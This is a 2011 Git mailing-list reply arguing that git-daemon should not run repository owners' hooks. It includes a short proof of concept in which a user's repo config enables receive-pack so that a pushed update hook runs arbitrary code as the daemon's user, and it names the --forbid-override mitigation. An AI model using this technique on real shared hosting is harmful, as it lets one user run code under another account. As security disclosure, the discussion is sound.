Re: what are the chances of a 'pre-upload' hook?

From: Jeff King <peff@peff.net>
Date: Nov 28, 2011, 08:17 UTC
Message-ID: <20111128081748.GC16901@sigill.intra.peff.net>
In-Reply-To: <20111128075107.GA16901@sigill.intra.peff.net>

On Mon, Nov 28, 2011 at 02:51:07AM -0500, Jeff King wrote:

Show 13 quoted lines

> > I actually like the idea of allowing pre-upload-pack hook on git:// and
> > possibly http:// only. git-daemon can tell the upload-pack that it is OK
> > to run the hook, and the hook can do the things that only the daemon can
> > do, never touching what the original requestor would but the repository
> > owner would not have an access to.
> 
> That's not necessarily safe. Think about a site like kernel.org. The
> administrator is the one running the daemon, on behalf of all of the
> users. But my impression is that pre-August, developers had shell access
> to their own repos and could write their own hook files. So if
> git-daemon runs hooks, then any repo owner could run arbitrary code as
> the git-daemon, including killing the running daemon and running their
> own trojan.

Actually, depending on how kernel.org (or other similar sites) run the daemon, this might be an issue even without further patches. By default, git-daemon lets the enable/disable flag for any service be overridden by the repo config. So something like this:

  # make an evil repo; imagine this is done by a user on a shared
  # hosting site which allows shell access.
  git init --bare evil &&
  cat >evil/hooks/update <<\EOF &&
  #!/bin/sh
  echo >&2 "executing arbitrary code as `id`"
  EOF
  git --git-dir=evil config daemon.receivepack true &&
  touch evil/git-daemon-export-ok &&
  chmod -R 777 evil

  # now serve the repo as a daemon running as some other
  # user. This simulates the admin of a shared git hosting
  # site running git-daemon.
  sudo su -c 'git daemon --verbose --base-path="$PWD"' nobody

and then push from anywhere:

  $ git push --all git://localhost/evil
  ...
  remote: executing arbitrary code as uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)

You can avoid this by setting --forbid-override=receivepack; I wonder if that should be the default.

-Peff